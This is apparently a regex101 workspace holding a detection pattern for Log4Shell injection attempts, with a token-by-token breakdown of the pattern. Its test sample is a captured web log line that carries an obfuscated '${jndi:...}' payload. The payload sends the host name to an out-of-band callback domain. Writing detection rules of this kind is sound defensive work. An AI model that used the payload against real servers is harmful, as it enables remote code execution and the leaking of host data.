regex101: PCRE2 (PHP) Match Workspace

Pro

Group 1([\$]|[\%24]){1,3}

{1,3}repeats the group contents below between 1 and 3 times:

1st Alternative[\$]

Character Class[\$]

\$the literal $ (36₁₀ / 44₈ / 24₁₆)

2nd Alternative[\%24]

Character Class[\%24]

\%the literal % (37₁₀ / 45₈ / 25₁₆)

2the literal 2 (50₁₀ / 62₈ / 32₁₆)

4the literal 4 (52₁₀ / 64₈ / 34₁₆)

Group suspicious_log4j(?<suspicious_log4j>([\{]|[\%7B]{1,3}).*[jJnNdDiI]{1,4}.+[lLdDaApPsS]{1,5}.+([\/|\%2F]).+)

Group 3([\{]|[\%7B]{1,3})

1st Alternative[\{]

Character Class[\{]

\{the literal { (123₁₀ / 173₈ / 7B₁₆)

2nd Alternative[\%7B]{1,3}

Character Class[\%7B]{1,3}

{1,3}matches between 1 and 3 characters from the set below:

\%the literal % (37₁₀ / 45₈ / 25₁₆)

7the literal 7 (55₁₀ / 67₈ / 37₁₆)

Bthe literal B (66₁₀ / 102₈ / 42₁₆) (case sensitive)

.*any character (except for line terminators), repeated any number of times

Character Class[jJnNdDiI]{1,4}

{1,4}matches between 1 and 4 characters from the set below:

jthe literal j (106₁₀ / 152₈ / 6A₁₆) (case sensitive)

Jthe literal J (74₁₀ / 112₈ / 4A₁₆) (case sensitive)

nthe literal n (110₁₀ / 156₈ / 6E₁₆) (case sensitive)

Nthe literal N (78₁₀ / 116₈ / 4E₁₆) (case sensitive)

dthe literal d (100₁₀ / 144₈ / 64₁₆) (case sensitive)

Dthe literal D (68₁₀ / 104₈ / 44₁₆) (case sensitive)

ithe literal i (105₁₀ / 151₈ / 69₁₆) (case sensitive)

Ithe literal I (73₁₀ / 111₈ / 49₁₆) (case sensitive)

.+any character (except for line terminators), repeated at least once

Character Class[lLdDaApPsS]{1,5}

{1,5}matches between 1 and 5 characters from the set below:

lthe literal l (108₁₀ / 154₈ / 6C₁₆) (case sensitive)

Lthe literal L (76₁₀ / 114₈ / 4C₁₆) (case sensitive)

dthe literal d (100₁₀ / 144₈ / 64₁₆) (case sensitive)

Dthe literal D (68₁₀ / 104₈ / 44₁₆) (case sensitive)

athe literal a (97₁₀ / 141₈ / 61₁₆) (case sensitive)

Athe literal A (65₁₀ / 101₈ / 41₁₆) (case sensitive)

pthe literal p (112₁₀ / 160₈ / 70₁₆) (case sensitive)

Pthe literal P (80₁₀ / 120₈ / 50₁₆) (case sensitive)

sthe literal s (115₁₀ / 163₈ / 73₁₆) (case sensitive)

Sthe literal S (83₁₀ / 123₈ / 53₁₆) (case sensitive)

.+any character (except for line terminators), repeated at least once

Group 4([\/|\%2F])

Character Class[\/|\%2F]

\/the literal / (47₁₀ / 57₈ / 2F₁₆)

|the literal | (124₁₀ / 174₈ / 7C₁₆)

\%the literal % (37₁₀ / 45₈ / 25₁₆)

2the literal 2 (50₁₀ / 62₈ / 32₁₆)

Fthe literal F (70₁₀ / 106₈ / 46₁₆) (case sensitive)

.+any character (except for line terminators), repeated at least once

Global pattern flags

g modifier: global. Finds all matches instead of stopping after the first

m modifier: multiline. Causes ^ and $ to match the start and end of each line, not only the start and end of the string

25 tokens

Regular Expression

([\$]|[\%24]){1,3}(?<suspicious_log4j>([\{]|[\%7B]{1,3}).*[jJnNdDiI]{1,4}.+[lLdDaApPsS]{1,5}.+([\/|\%2F]).+)

New

[24/Mar/2022:10:44:23 +0000] 788.268.113.120 "-" "GET /websso/SAML2/SSO/vsphere.local HTTP/1.1" 403 "-b" 0b 2ms "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 758.133.55.55 42109 "${jndi:${lower:d}n${lower:s}://${env:hostName}.c8u33s1ij2m0lduqp6v0ce6rzbay86hrk.oast.me}" "${jndi:${lower:d}n${lower:s}://${env:hostName}.c8u33s1ij2m0lduqp6v0ce6rzbay86hrk.oast.me}" - - TLSv1.2 -,-,-

Extraction

[24/Mar/2022:10:44:23 +0000] 788.268.113.120 "-" "GET /websso/SAML2/SSO/vsphere.local HTTP/1.1" 403 "-b" 0b 2ms "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 758.133.55.55 42109 "${jndi:${lower:d}n${lower:s}://${env:hostName}.c8u33s1ij2m0lduqp6v0ce6rzbay86hrk.oast.me}" "${jndi:${lower:d}n${lower:s}://${env:hostName}.c8u33s1ij2m0lduqp6v0ce6rzbay86hrk.oast.me}" - - TLSv1.2 -,-,-